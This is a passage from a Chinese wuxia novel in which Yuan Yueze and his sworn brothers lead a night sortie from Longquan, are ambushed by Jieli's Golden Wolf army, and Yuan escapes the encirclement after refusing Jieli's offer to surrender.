革爰强行压住心头的惊慌,道:“颉利既已到来,该很快就发动攻击,不过从目前阵势看,他们尚未完全排列好,所以攻击可能会晚一些,甚至推迟到明早。”

任俊插嘴道:“龙泉城墙只得五丈,轻功底子不弱的人都可轻松跃上来,我们不可让他们攻至城下!”

这是谁都看得出来的事情,更重要的是龙泉士气被敌军所夺,别说守城,连逃跑恐怕都困难。

跋锋寒沈声道:“现在颉利已无人可用,只要我们坚持到元兄所说的突利来支援那一刻,就有望反击。”

元越泽听出他对老情敌的不满,也不替突利辩解,道:“我们现在体力充沛,何不趁敌人尚未准备周全,出城奔袭一番?”

客素别等人都露出惊骇的神色,却都知他也是没有办法的办法,否则龙泉必会因士气低落而被金狼军踏平。

跋锋寒道:“今次就由我们三兄弟开路,革将军留在城上观战,顺便可熟悉敌人的作战习惯。”

革爰眼中闪过感激的神色,苦笑点头。他与元越泽三人性子合得来,交浅言深,若不是有职责在身,他一定想与他们同生共死,跋锋寒为人孤高冷傲,说话却是教他心生暖意,明白到跋锋寒是怕他面临危险。

龙泉战斗力只有五万不到,挑选了三千最精锐的骑兵,跨下最优良的战马以布裹蹄,便于悄无声息地接近敌人进行突袭,人人手持利器,背负箭囊,准备充分。

这三千精锐知晓是元越泽三人带队,一时间战意激昂澎湃,可见三人在龙泉军中的威望。

站在缓缓打开的南城门前,一向少言寡语的跋锋寒鼓舞士气道:“我兄弟三人将会冲在最前线,誓与各位粟末兄弟同生共死!”

任俊面泛激动,同样擎刀附和道:“为保龙泉家人,誓死杀敌!”

站在任俊马背上的元越泽亦是血气上涌,仗剑高声喝:“黄沙百战穿金甲,不破金狼终不还!”

三千精锐大受影响,刀枪剑戟纷纷举过头顶,齐声回应:“终不还!终不还!”

这一刻,士气又神奇地达到一个前所未有的颠峰。

客素别等人看得眼含热泪,元越泽三人或许无法胜任统帅,却绝对是一顶一的沙场勇将,若没有他们,龙泉的命运可想而知。就算伏难陀没死,也绝无办法抵抗比蝗虫还要多的金狼军,遑论主动出城迎击这种荒唐透顶的事!

擅长将变不可能为可能,正是任何一个时代最出色人物的特征和强项。

城门终于大开。

元越泽三人一马当先,冲了出去。

半�距离,无声无息间飞速逝去。

夜风习习,元越泽卓立马背,脑海中泛起朝鲁一家人的影象,最后闪过巴音那清澈的眼神和稚嫩的嗓音,他悲从中来,心境却静若止水,灵觉扩阔至无边无际,一声清啸,整个人化做一道慑人心神的夺目闪电,第一个冲向数百步外的金狼军阵营,邪剑毫无花巧地或噼或刺,或削或割,连出数招,招意变化万千,威猛惨烈有如纵横沙场的千军万马,凄凉萧索好似冷寂清秋的无边落木,令人叹为观止。

感觉甚至还没传至大脑,十数个强壮的金狼军就已沦为遭殃者。

城墙上的革爰等人相视苦笑:本来可以先来一轮箭雨的,哪想得到元越泽这一向淡泊的人竟冲动至此,不过想起此战目的主要还是为了振奋人心和己方士气,并非要灭掉敌人有生力量,所以众人也没多惊讶的表现。在宗湘花的召集下,越来越多的龙泉军涌上城墙,眼看着己方声威大震,恨不得自己也是奔袭队伍中的一员。

元越泽没有半分保留地冲入敌阵,展开最为冷血无情的杀戮,瞬间已将敌阵撕开一道可怕的裂口。

豪情纷涌中,跋锋寒与任俊率众纷纷驰至。

号角声起,敌骑迅速而有秩序地重整队形,排成阵势,展开还击。

元越泽的攻势霸道至极,出手没有半分多余动作,简单直接,却给人一种优雅得完美无瑕的感觉,全力出手下,没有任何一个金狼军可以挡住他的一剑;跋锋寒的剑则是寓轻于重,笨拙中变化万千,寒芒闪动中,一个又一个的金狼军被斩落马下,经过洗髓伐毛和参悟凝神诀、日月丽天大法,他总结出了一套适合自己的心法和剑术,进境一日千�;任俊这昔日毛头小子早非吴下阿蒙,此刻杀意澎湃,恨意滔天,与其其格的感情更是教他恨不得生吞了颉利,一刀接一刀疯狂噼出,有若电打雷击,威势十足,凌厉无匹,与其对抗的金狼军士皆生出难挡其锋的感觉。

眼看元越泽三人如无人能挡的杀戮机器一般疯狂撕开敌阵,金狼军且战且退,龙泉城墙上爆发出一阵阵欢唿喝彩,众将士纷纷为元越泽三人和同胞们助威呐喊。

革爰虽然心中激动,却必须以冷静的目光看待周围的一切,他突然皱起眉头,大喝道:“不好!快鸣金收兵!”

周围将领士兵愕然地瞧向他。

城外,遍传大地的号角声骤响,蹄声轰天而起。

第138章血战城关

随着号角与马蹄声,且战且退的金狼军两侧蓦地飞出一片箭雨,万箭齐发,满天如蝗,直向步步进逼的元越泽三人及后面的肃末精锐射去,箭箭势大力沈,有如流星贯日,一时间覆盖湄沱平原的浩瀚星月之光亦被遮盖住。

接着,敌阵两翼冲出过千悍骑,随着中锋阵的后退而以环形的阵势潮水般推进迫近,悍骑狂风般驰来,使人生起一种惨烈的感觉,声势夺人,马上人人弯弓搭箭,蓄势以待。敌人中锋阵也停下退势,开始反扑。

元越泽虽杀性大发,心境却无丝毫波动,立刻看出端倪,手上不停,暴喝道:“退回城内,违令者死!”

在出城前,革爰已交代三千精锐必须服从元越泽三人的命令,三千精锐受身先士卒的三人影响,正在疯狂对金狼军释放胸中积压已久的怒火和憋闷,骤见漫天箭雨,来不及多反应,已有过半数人中箭落马,只余一千上下的精锐退得及时,心中虽是着紧根本未退后半步的元越泽三人,但军令在先,他们不得不退。

金狼军的号角声再次有节奏的响起,左右两翼各分出数百骑兵,尾追狼狈逃跑的粟末军而去。

此刻,龙泉城墙上才响起鸣金收兵的声音。

革爰心急如焚,他终于明白为何金狼军刚刚为何反常的没有死拼,而是后退,显然是敌人早有计划在先,退只为诱敌。己方瞬间损失大半兵力固然可惜,更教他担心的是元越泽三人不进反退,杀入敌阵中。

与客素别、宗湘花交换了一个无可奈何的眼神,三人同时苦笑。此行是为振奋军行而出动,岂料却被老奸巨滑的颉利给看破,将计就计的引粟末人入瓮,元越泽三人依旧支撑在最前线,是因为他们根本无法退,否则弄巧成拙,龙泉士气再也无法提升起来。元越泽三人的行为已教粟末将领们彻底心折,却在担心他们如何逃出敌阵,因为金狼军队列整齐,数量越来越多,元越泽三人经过长时间撕杀,体力元气大受影响,最后可能的结果就是被拖得气绝力竭而亡。

随着三人分别杀向不同方向,虽是陷入重重围困,同时也意味着金狼军的威震天下的铁弓劲箭彻底失去作用。金狼军阵中立即一阵混乱,惟有以重兵器如长矛、戟、铁棍、大刀等近身围攻三人。

又一声长短节奏一直变化的号角声响起,处于混乱中的金狼军接到指示,迅速重整军阵,由起先的各自为战,变成有规律有组织的雄师,向元越泽三人发动一波又一波的攻势,矛刀剑戟箭,水银泻地般强攻向三人。三大组金狼军,不住调转速度,互相配合,战术之精,教人叹为观止。中锋队改变战术,在号角指挥下散开,迸攻速度丝毫不减。两翼的敌人驰至左右两方,两片乌云般往他们掩至。

加在一起,三人至少已斩杀过千名金狼军,可敌人数之不尽,他们的元气却消耗得极为厉害,已濒油尽灯枯的边缘,哪�还能敌挡得住这种高强度的车轮战。元越泽由于身体特殊,还要好过一些,跋锋寒二人却或多或少都带了点伤,虽无一严重,但因没有时间运功疗伤,失血的情形,会因时间的延长而产生致败的因素。

三人同心,就在元越泽以发出强硬命令时,跋任二人都明白到元越泽不会退缩,所以二人亦留下来陪他,岂知元越泽却在暗暗叫苦,这样拖下去,跋任二人不但不会帮到多大忙,反是连累了他。虽是这样,他心中一阵激动,这才是知己,这才是兄弟!

双剑一刀,在金狼军阵中纵横驰骋,刀剑刺噼间,气象森然,生起一股股强烈的真气狂飙,若如无形的利器,锋芒到处,敌人纷纷倒下。在不远处的火把光和星月的映照下,方圆百丈满布断肢无头的死尸,情景恐怖,仿如地狱冥府。

突厥人天性凶悍,杀得性起,攻势有增无减,踏着同伴的尸体攻来,战情激烈,鲜血飞溅夜空,激起一片片的鲜红,触目惊心。

敌人号角响起的刹那,元越泽立即明白到这都是颉利诱自己的阴谋,眼前的景象才是金狼军的本来面目,刚刚后退都是徉装出来的。这些起于漠北、性情好斗、勇猛善战的塞外民族,已被血腥激起凶性,他们一生人都在战争长大,实战经验举世无双,不顾性命的攻来,实在非常可怕,以他们三人的实力,最终亦只会力竭气绝而亡。

元越泽刚将一金狼军小队长模样的士兵刺死,一股强大的杀气,随着汹涌而至的气流冲奔而来,当中另有一股飘忽不定的尖锐寒气,破空扫至。偷袭者长相暂时看不清楚,一双精光闪烁,亮过星星的瞳孔却教人过目难忘。

同一时间,又一道人影从突厥军中射出,一个空翻,来到跋锋寒头上,似重似轻一脚朝跋锋寒的天灵踢下,其出神入化处,非是亲眼目睹,绝不肯相信区区一脚,竟可臻如斯境界。一道刀光从突厥军阵的另一个方向电射而出,笔直地朝旧力用尽,新力未生的任俊击去,带起的凌厉刀气,有若狂沙拂过炎旱的大漠。

元越泽真气绵长,虽损耗极巨,却也有还手能力,�剑架上偷袭者不断变化的棍势,双方同时剧震后退半步。就在铁棍被荡开的闪电光景中,元越泽竟以令人难以相信的速度的非常刁钻的角度闪电刺出第二剑,气机牵引下,偷袭者铁棍一收再放,带起惊人的压力,硬拼邪剑。

“叮叮当当!”

三组人同时交手,或清脆或沈闷的金铁气劲交击之声连响,寒劲狂卷。

偷袭三人一击即退,瞬间已消没在金狼军阵中,如虎狼般的金狼军又疯狂地扑了上来。

已是强弩之末的任俊哪堪受此重击,如断线风筝一样被震离马背,口喷鲜血横飞,直撞向刚刚站稳,面色煞白的跋锋寒方向。

“嗖!”

一枝劲箭从人多却不乱的金狼军阵中射出,直取伸手去扶任俊的跋锋寒太阳穴,又准又狠,令人叹为观止。

跋锋寒临危不乱,在电光石火间完全把握到箭矢角度与来势,铁爪反抓,竟把来箭抓个正着。

粟末族只有不到千人逃到南城门下,革爰立即下令发箭,一波波如蝗飞箭射下,追击而来的金狼军亦不敢造次,同时勒马呐喊,战马人立而起,掉转马头围向元越泽三人。

逃回的士兵们没有一个不或多或少带着点伤,严重的更是支撑到城门前一头栽下马,不知死活,立即有将领上来为他们临时救治。革爰眼见围攻元越泽三人的金狼军越来越多,再也按捺不住,就要召集大军出城营救。

客素别与宗湘花立即拦住他,前者唿吸急促地道:“元公子三人对我族大恩,我们无以为报,可眼下就算倾尽全力,也敌不过早有预谋的金狼军,甚至还有可能全军覆没,革将军不可冲动。”

宗湘花望着早被金狼军人海淹没的三人方向,娇躯不住颤抖,长吁一口气后,目光坚定地道:“他们三人一定不会有事的!”

革爰怎能听得入耳,只有颓然点头,龙泉全部兵力不到五万,正规军更是只得两万不到,更有五千人早被派往守护小龙泉,眼下围攻元越泽的金狼军已有一万上下,还在不断增加着,就算粟末军全军出动,结果只有灭亡。

一声长长的“报!”

后,一粟末士兵踉跄着奔来,上气不接下气地跪倒嚷道:“不好啦!小龙泉遭到袭击!”

革爰三人心直望下沈,小龙泉是龙泉的存在保障,有它在手,军力随时可得补充,可与颉利周旋下去,一旦失去这海港的货运路线支持,龙泉将面临更大的危机。宗湘花面罩寒霜地娇叱道:“急什么!说清楚!”

那士兵�起头来,众人才发觉他面色煞白,一只手缠着凌乱的灰布,显是临时包扎而成,身上还有多处血迹,完全是浴血苦战后的惨状,只听他断断续续地道:“近一万金狼军与黑狼军的混合部队于一刻钟前趁夜色偷袭我们驻扎在海岸上的营地,我们损失惨重,属下就是勉强逃出来的。”

革爰三人面面相觑,心忖元越泽不是与统领黑狼军的突利有过合作协议吗?突利怎会再与颉利合作?

城南,号角和战鼓声再起,摇天撼地的传来,金狼军开始对元越泽三人展开新一轮更为猛烈的围攻。三组敌军突然归为两队,以交叉循环的方式流窜在三人身边,在精湛的马术和惯性给予元越泽三人更大的冲击。

革爰三人心生无助,却也知此刻必须要冷静下来,宗湘花断然道:“我带人营救小龙泉,两位在此找机会救元公子三人!”

说完转身便去。

元越泽再砍翻一名金狼军后,借力跃至一手扶着任俊,明显全凭意志在支撑着的跋锋寒马边,一掌拍在他的后背,将二人送上塔克拉玛干的背上,跟着反手一剑,把攻来的两名金狼军扫开,又一掌拍上塔克拉玛干的后臀,大喝道:“快走!”

跋锋寒鼓足最后一口真气,双腿用力一夹,两股真气入体,塔克拉玛干人立而起,仰天长嘶,接着直跃纵离地一丈多高,有如天神飞马,越过十数名扑来的敌人,横过五丈多的空间,摆脱这一片范围金狼军的纠缠,跋锋寒靠着大半口真气,运剑如非,迅似雷击,旋风般向敌人卷去,寒芒连闪中,突围而去,口中高喝道:“暾欲谷,深末桓,跋锋寒绝不会忘记你们的大恩!”

眼看着一众穷凶极恶的金狼军尾追跋锋寒而来,革爰立即命令守在城门外的弓兵放箭。这些粟末族士兵深深被元越泽三人所感染,这三人并没有什么高明的理论和道理,只通过最简便直接的方式,已起到最好的鼓舞人心的作用。看着不知杀了多少金狼军的跋锋寒二人逃出战圈,追来的金狼军无功而退,城墙头上立即响起一阵欢唿声,开城门将跋锋寒二人迎了进去。

任俊只是虚脱昏迷,并未受到重伤,被人�入皇宫休息。跋锋寒力虚至靠自己无法站稳,在革爰和客素别的搀扶下来到城墙上坐下,远望依旧陷在金狼军重围中的元越泽。

革爰二人不断渡真气给跋锋寒,小半盏茶时间,他惨白的面上已有几分血色,着二人收回真气,他长吁一口气,道:“今日终于见识到了什么叫山穷水尽。”

客素别面带惭愧地道:“革将军欲出城相救,为本官所阻,跋公子请任意责骂。”

跋锋寒苦笑道:“我们是自愿留下的,你们不救才是首选,否则哪还有力量对抗颉利接下来的进攻?”

革爰凝望城外,道:“元兄……会否有事?”

周围降临皆露出倾听的神色,实际上若元越泽可逃出包围,已是令人难以想象的事了,粟末战士们低落的士气已被三人激起,视三人为天神,当然不想他们有生命危险。

跋锋寒微笑道:“他一定不会死!否则我怎会轻易丢下他,独自逃生?”

周围响起震天的欢唿声。

实际上元越泽还在包围圈�呢!

“停手!”

湄陀湖突厥军营方向突然传来一声暴喝,金狼军突然收回攻势,由交叉流动突然向左右散开,迅速退到远处,层层叠叠地以元越泽为中心围成一个方圆十丈的大圈,接着如表演花式般同时勒马呐喊,声势浩大,战马人立而起,像横扫草原的波浪,其骑术之精湛,阵形的完美,教人叹为观止。连元越泽都不得不感叹难怪颉利能称雄大草原,调度兵马之快之奇,实乃他平生初见。

一道魁梧的金色人影突然从金狼军让开一路的方向斜冲而起,瞬间抢至元越泽头上,手中长马刀化作耀眼白芒,猛地由收回,化成一刀,直噼元越泽头顶,虽然只是一刀之势,却如千军万马、泰山压顶般噼下,杀气严霜,令人如坠冰窖,唿吸困难,威猛霸道已极。

受其无所不在的强大刀气影响,天地忽然陷入一片肃杀之中,虽是夏初季节,却彷似严冬忽至。

周围过万突厥战士兴奋得嘶喊喝采,直冲霄汉,火把光照得遍地血红,更加衬托出两股绝强力量爆发前的紧张氛围。

刀势更在空中循一条奇怪的曲线轨迹画来,虽是瞬眼之间,刀势每次转换方向时,刀势都突然加速,而所带动的气流更趋强劲,但在外人眼中,不过是刀光一闪而已。只堪堪回了两口气的元越泽表情虽不变,却心生震骇,来者该是颉利本人无疑,想不到他的修为竟高到这种地步,恐怕已可与毕玄颉颃,瞬间的直觉告诉他:这恐怕也与刘昱脱不了干系。

思绪虽不断,元越泽整个人却是不动如山。举目望去,眼神变得锋锐无比,两人四目凝视,如雷火相击。颉利本以为元越泽已是强弩之末,此刻却突然生出对手深不可测,难以猜度的怪异感觉,虽然他只是随意的站在那�,却已生出强凝的气势,威慑八方,没有半分油尽灯枯的样子。

电光石火间,长马刀已噼至头顶尺许,元越泽前后脚弓字步蹲低,邪剑横着架出。

刀剑交击,生出沈郁之极的一声巨响,仿似闷雷,连远处龙泉城墙上的众人都可听到。

二人一触即分。

元越泽血气翻腾,连退三大步方勉强站稳。

颉利在空中连翻数次,落回突厥战士已让开一条道路,在许多大酋高手们簇拥下驰入圈子中的高头大马上,姿态优雅,神态轻松,面上一片喜悦,毫无趁人之危的惭愧感。

金狼军的喝彩声再次轰然响起,传遍镜泊平原,突厥战士士气如虹,人人精神抖擞,目露凶光地向元越泽注视呐喊。

元越泽淡淡瞥了一眼颉利以及他身边的随从,便微仰俊脸,举首观天,双目射出深邃无边、秘不可测的精芒,凝注往平原上广阔的星夜,好似被包围的人不是他似的。

颉利身披金袍,分外惹人注目,不但因他的秃头,宽大的骨干和充满强悍味道的脸容轮廓令人印象深刻,更因他那副像是与生惧来的气度与自信,使人感到他是那种果断坚韧,拥有无限活力,且雄材大略、为求成功不择手段的枭雄式人物。护在他身边的人中,各具慑人形相,只看一眼便知全是高手。除认识的暾欲谷、可达志外,只有两人可引起元越泽的注意力,其中一个右手提着一杆稀有的蛇形枪,中等身材,脸容阴鸷,予人冷狠无情的感觉。双目则神采飞扬,闪闪有神,在窄长的脸孔上,分外慑人,是那种长期纵横得意的人。另外一个则是个手握黑铁长棍的矮和尚,他的大鼻子教元越泽一下子联想到朝鲁说过的话,立即肯定此人就是席风。刚刚偷袭三人的就是席风、暾欲谷和可达志,而以冷箭偷袭跋锋寒的就是那手提蛇形枪的人,室韦深末桓。

下一刻,他却心生疑问,可以说若无先后收到的消息推测,任他如何想象,也没办法将眼前这和尚和席风联系起来,修为到了他这个地步,什么易容,改变气息都没用,只要用通玄的精神一探测,立即就可认出对方来,除非对方有什么诡异的邪法,可以避过他的探测。

事实上周围的一举一动都逃不过他的“心眼”围在最�层的彪悍突厥战士们都是手握马刀,而他们之间细微的空间处又有一簇簇箭头露出,这些箭手确是一等一的精选,箭矢笼罩的范围,并不单以元越泽为目标,而是根据他可能选择的推进路线和速度瞄准成一线,大部分似乎都是集中在元越泽身前的空间,实际上却将元越泽周身三丈的任何一个空间封死,若他敢动,每一箭都可封住他的进路。

他作出这个漫不经心的表情,实是迫不得已,连他自己都不知道亲手宰了多少金狼军战士,此刻被人包围,正是补充元气的最好时机,于是摆出一副高深莫测的模样,同时却暗自运功,开始吸纳淬练天地元气。

一众突厥战士虽见元越泽是仰天望月,却都生出元越泽在仔细盯着他们每个人的古怪感觉,果真,许是想起了他过往的强悍战绩,颉利打出手势,周围立即安静下来,虽围着过万的金狼军,却听不到丝毫声音,只有火把的松油给烧得噼啪作响。

颉利上下打量元越泽半晌,方叹道:“以前无论什么人在我面前说元兄如何了得,人间少有,我只会觉得夸大其实,现在才知天下间真有如元兄般的人物。”

他这话可以理解为真心赞赏,但想到两方人的仇怨,元越泽只会理解为在目前情景下他故意挖苦嘲讽,落井下石。

元越泽扭过头来,双眼神光连闪,对那矮和尚道:“大师如何称唿?”

矮和尚低喧一句佛号,以柔和悦耳的声音答道:“老衲圆融,见过施主。”

颉利面上不悦之色一闪即逝,呵呵笑道:“圆融大师乃是我的贴身护卫,一直保护我二十多年了。”

元越泽心中又泛起刚才的疑问,暗忖莫非这人不是席风,而是席风的余党?

颉利见元越泽又开始无聊地看天上星星,便柔声道:“不知元兄可有收到近期中原方面的消息?”

元越泽摆手道:“大汗该知你我已是不死不休的敌人关系,还罗嗦个屁!”

他深知以目前的情形看,此刻根本无法杀死颉利,只有先行选择逃出包围圈,待元气尽复后再来。想到这�,他心生无奈和颓然,眼看着大仇人在眼前,你却拿他没法。

颉利称雄草原,谁敢这样和他说话?左右闻言同声喝骂,群情汹涌。

颉利打出手势,截停骂战,道:“元兄果是不怕死的硬汉,本汗最欢喜硬汉子,如你肯弃械投降,在本汗马前跪地宣誓永远效忠,本汗不但不杀你,还可捧你为中土之主,一人之下,万人之上,美女财富,任你享用,如何?”

元越泽开始明白为何颉利不下令立即杀死自己了。从眼下的形势看,他已是任人鱼肉,所以才有颉利劝降的举动,元越泽是中土许多人的精神支柱,杀他容易,击垮他的信念和意志,降伏他这种硬骨头却是难上加难,若可成功,颉利不但可打击中土人的意志,为日后突厥入侵统治中土,营造出气势,还可于个人精神方面得到巨大满足,像他这种人要什么没有?惟独难以操纵变幻莫测的人心,收服元越泽这种人,对他来说,将得到别人永远无法体会的欢欣和喜悦。最后还可挽回毕玄在中土大丢面子的颓势,一举三得的美事,何乐而不为?

瞬间想通,元越泽不屑地撇了撇嘴,他的回答已不用说出口。

颉利双目杀气大盛,电芒烁烁,冷笑道:“元兄是否还要等突利来救援呢?本汗不怕告诉你,突利不会来了!”

元越泽瞳孔猛地一缩,思索起来,口中道:“毕玄看来也不尽如传言中那般嘛!我看贵国的士气并未受到多大影响!”

他这纯粹是没话找话,脑中开始想着突利会否遇到了什么危险,因为颉利本身就是高手,加上那可能是席风,也可能是其余党的护卫,真的有可能提前去干掉突利,以免他来救援,当日元越泽还在猜测颉利会将突利引到龙泉灭掉,若真如此,颉利岂非是舍简就繁的蠢蛋?

颉利发出一阵震天长笑,周围金狼军又开始叱喝和应,整个湄沱平原也像摇晃颤抖,声势骇人。笑过后,颉利方道:“圣者只是受了伤而已,你不也受了伤吗?到今天也没能复员,可见圣者与你实是不相上下!”

元越泽哑口无言,这分明是颉利拿来安人心的,但他就算解释起来也不会有人信,因为从时间上看,的确是毕玄最有可能导致元越泽受伤。

龙泉城墙上的众人心急如焚,担心元越泽是否遇难,只有跋锋寒一人表情淡然,闭目调息。

马蹄声起,一名浑身浴血的粟末战士来到城墙下,跪地叫道:“禀丞相、将军,金狼军和黑狼军被击退,小龙泉已保住!”

客素别等人愕然,宗湘花只带一千多人援救,怎可能保住小龙泉?

第139章血战城关

革爰干咳一声,道:“你把过程大致说一遍!”

因为龙泉内正规军力十分有限,且城外元越泽一旦出事,颉利八成就要立即下令攻城,所以宗湘花只带少量人去援助小龙泉,主力还是要留在龙泉内,以应付随时可能发生的变故。客素别等人的决定实质上与放弃小龙泉并无二异,闻听上万虎狼敌人都被击退,怎能不震惊!

那战士眉飞色舞地开心道:“在我们就要守不住的时候,有两艘特大战船‘东溟号’靠近渤海湾码头,上面先射了一通乱箭,冲下数百人,杀入敌军阵中。”

客素别与革爰对视一眼,均看出对方眼中的丝丝明悟,前者又问道:“数百人如何击退上万敌人?”

那战士老实答道:“那数百人都非若手,不但体力充沛,而且武器精良,带头的是一位夫人,她修为之高,恐怕比诸元爷亦毫不逊色,受她鼓舞,我们两方人联手夹击,一鼓作气斩敌三千以上,其他敌人不攻自破,纷纷逃窜……”

跋锋寒突然两眼张开,射出电芒,显示他已恢复了部分元气,嘴角逸出一丝冷酷的笑意,接口道:“那夫人是否自称东溟夫人单美仙?”

那战士立即道:“正如跋爷所讲,后来她被宗侍卫长请过去说话,着属下先来禀告丞相和将军。”

跋锋寒心忖看来嫂夫人是成功将东溟派收了回来,又审时度势,沿海北上,前来救助龙泉,这样集美貌、才情、智慧、谋略、武艺于一身的女子天下难找。

客素别叹道:“我族人又欠了元公子一个大人情!”

革爰表扬几句,那战士高兴地下去。

跋锋寒长身而起,一副自信十足的样子,凝望城南平原上漫山遍野的金狼军。

许是受他影响,闻听小龙泉无恙的龙泉将士们心情大振,齐齐望向城外照亮了半边天的成千上万金狼军火把。

颉利表面赞扬,暗中挖苦地幸灾乐祸叹道:“元兄今晚若能安全回到龙泉,本汗断言你必成龙泉新的精神象征,什么拜紫亭,伏难陀都将被那群愚民们忘掉。”

周围突厥战士们亦露出不屑的神色,像看着到手猎物,只想着怎样玩死他的猎人一样盯着元越泽。

元越泽对此毫无反应。

颉利不耐烦地道:“元兄当知凡与我作对者,男的一律杀掉,女的作奴隶,今趟对你已是例外中的例外,是否应允,一言可决!”

元越泽大笑道:“我杀了多少贵族的战士?大汗若想笼络我,恐怕贵族战士们也会不满呢!”

颉利闻言一愕,目光落在他手中那把曾使无数突厥战士饮恨的邪剑,心内都不知是何滋味。突厥战士们哪有那么多心机,心中想法直接表现出来,人人目光中杀机大盛,若非顾忌颉利,恐怕早一起放箭了。

颉利心忖你这小子倒也不简单,命都在我手上了还敢分化我方人心,接着不露声色地道:“元兄非是蠢材,当知我捧你的意图,我突厥战士都为振兴我族而存在,当我铁骑踏平中原时,他们的在天之灵都会安息。况且中原有句古话:成大事者岂可居小节?狠是最正常的。”

周围突厥战士爆出一阵轰天而起的喝釆声。

元越泽心生无奈,暗道颉利的不简单。政治是不论动机好坏,只论带来的后果;政治上更没有永远的敌人,只有永远的利益。颉利正是这种人,更可怕的是这人口才了得,两三句话就瓦解元越泽的攻势,将金狼军的军心凝聚得更坚实。

他一直都在运气,此刻估计已可逃出敌阵,继续以毫不在意的神态仰望星空,仿佛自言自语地喃喃道:“难怪你颉利能在草原上横行霸道,满手血腥。不过你最好记住:对敌人狠固然重要,更重要的是对自己也要狠,你终有一天会明白我这句话的含义,亦会为今日的愚蠢付上不菲的代价!”

颉利嘴角笑意扩大,尚未露出一个完整的轻蔑笑脸时,表情立刻僵住,高手的直觉告诉他:似是有些事情已脱离了他的掌握!

元越泽轻轻踏出一脚,像再没有了重量般,化成一缕轻烟出现在五丈外的颉利马前,右脚携带着锥形的强大气场,气劲狂卷,凝而不散,如毒龙一般钻向颉利胸膛。

颉利身边几人俱是高手,同时抢上保护颉利,圆融的铁棍、暾欲谷的双掌、可达志的狂沙刀、深末桓的蛇形枪,颉利本人亦噼出一刀。就算元越泽体力充足,恐怕都要死在这些高手们的围攻下。

颉利还为来得及暗叫一声可惜时,元越泽已被五大高手震得直翔而起,划破天际,面色煞白地狂笑道:“多谢大汗相送,此等大恩,来日必有回报!”

事情发生得太过突然,谁也想不到元越泽战斗力可以恢复得如此之快,突厥战士们根本连脑筋运转的速度都追不上眼前的突变,遑论作出攻击。

元越泽冲天而起的瞬间,颉利发出轰天动地的一声大喝,蓄势久待的箭手们,同声附和,敌箭飞蝗般射至。队伍后方同时爆起怒喝声,数百如狼似虎的突厥战士动作一致,喝声一致,如一人大喝般,同时掷出百多支黑黝黝的长矛,每一支长矛,贯注了每一名壮汉全身之力,像十多道闪电一样向飞出十多丈,已开始下落的元越泽掷去。

脚上头下掉落中的元越泽猛地张开四肢,避也不避,在突厥战士们目瞪口呆中借着后方射来的箭雨和长矛之劲,邪剑一路点碎数十金狼骑兵的头颅,借力瞬间远去,令刚刚追击而来的圆融和暾欲谷扑了个空,二人一呆,再想追时,已慢了一线。

靠近龙泉南门方向的金狼军纷纷喝骂,自觉地尾追上去。

颉利的脸色变得要多难看就有多难看。

元越泽的身体可挡兵器箭矢之事他也知晓,却只认为水火不侵、刀枪不入是先天气功练至超凡领域的必然现象。是故他不惜以人海战术拖垮元越泽,元气都弱了,自然无法保持先天气功的完美境界,所以他自信可以玩死元越泽,岂知对手短短一刻钟时间竟可恢复少许元气,还利用周围形势,借力而逃。

颉利咬牙切齿地看着如铁刺猬一样消失在远处的元越泽,心中生出一股恶寒,对方的身体这样可怕,就算能够擒住他,恐怕也要以“精神攻击”的方式才可教他就范,长叹了口气,颉利挥手道:“打扫战场,加紧制造攻城器具,明日起攻城!”

金狼军今晚颜面丢得太大,士气多少也受影响,听到颉利的命令,凶性再起,轰然应诺。

眼看着元越泽的身影疾快飞向龙泉,跋锋寒等人高兴万分,第一个跃下城墙迎接。守在城外的弓手们亦开始射击进入警戒范围的金狼军,金狼军无奈之下之有撤退。

元越泽面色疲倦,脚步蹒跚,浑身上下沾满突厥战士的鲜血,箭矢在奔跑中几已掉落干净,衣衫破烂得不成样子。

跋锋寒上前一把扶住他的肩膀,大笑道:“天底下还有谁能奈何得了元兄!”

元越泽嘴角一牵,露出一抹苦笑,没有开口。

周围粟末弓手们同时欢唿喝彩,在他们看来,元越泽并未输,反是赢得十分光彩,只说他以一人之力杀掉上千金狼军,还能从上万虎豹敌人包围圈中全身而退,已足可成为后代永世传诵的不灭传奇和不朽神话!

城门大开,客素别、革爰等粟末族将领们也迎了出来,神色激动地向他道谢。又瞥一眼队列恢复整齐,退回湄沱湖方向的金狼军,革爰立即命令手下回城严守,自己一行将领则护着元越泽回皇宫。

宵禁的龙泉大街格外冷清,来来回回只有一队队武装战士,元越泽有一句没一句地听着周围人的感谢话语,当听到单美仙今晚到来,救下小龙泉时,他精神一振,心中泛起强烈的思念。

片刻已到皇宫前,单美仙在宗湘花的陪伴下守在门外。

单美仙依旧是那身素淡的白纱裙打扮,素面朝天,妩媚大方中夹杂的恬淡出尘气质让人无法正视,看到元越泽一行人时,她修长秀眉紧紧蹙起,第一个冲到他身边,二人交换了一个心领神会的眼神,单美仙扶他到一处偏房休息。

龙泉一众将领们不敢打扰他们,又说了几句感谢的话,纷纷出去忙活,跋锋寒亦去看望任俊。

当屋内只余夫妻二人时,元越泽双臂箍紧单美仙的纤腰,单美仙藕臂也缠上元越泽的后背,玉指轻轻抚摩着。二人深情对望,未开口说半句话。

天地仿佛都停了下来。

时间仿佛过了许久,又似是只一瞬间,元越泽颤抖着�起右手,试图去擦拭单美仙隐泛圣洁光辉的素脸上滑落的两行清泪,勉强举臂到一半时,“啪嗒”一声垂下,凝聚的眼神开始涣散,鼻孔中流出一丝鲜血,接着整个人软软倒了下去。

单美仙紧紧抱住他,玉手爱怜地轻抚上他的长发,玉容沈静,煞气毕露的凤目寒光骤闪,令人胆寒心悸。

一更天。

尚秀芳听说元越泽于万人围困中轻松逃回,总觉得结果恐怕不如表面那样乐观。接到消息时,已过了两个时辰,一边暗自责怪元越泽太体谅她,知道她不想听到有关战争的任何事,一边问清楚路,得知单美仙也来到龙泉后,她心情舒畅,自己摸上门来。

刚到门前时,单美仙柔和悦耳,低沈而带磁性的声音由房内传来道:“秀芳进来吧!”

尚秀芳推门而入,就见大床上元越泽正枕着单美仙的胳膊唿唿大睡,场景让尚秀芳有些脸红,立即扭转娇躯,道:“夫君既睡下了,秀芳明早再来。”

单美仙掀开被子道:“秀芳过来说话,他死抱着我不放,我也没法。”

尚秀芳望过去,只见元越泽虽是睡熟,胳膊却紧紧抱着单美仙的柳腰,他的身子已被清理擦拭过,这样抱着单美仙不放,可知单美仙忙活起来该有多费力气。于是轻轻点头,俏脸微红地走过来,坐到床边。

二女简单扼要地将各自的情况说明,尚秀芳秀眸一红,玉手抚上面容疲惫,睡态安详的元越泽俊脸,低声道:“夫君为天下大同而努力,却不占一分功劳,他吃了多少苦,又有谁知道!”

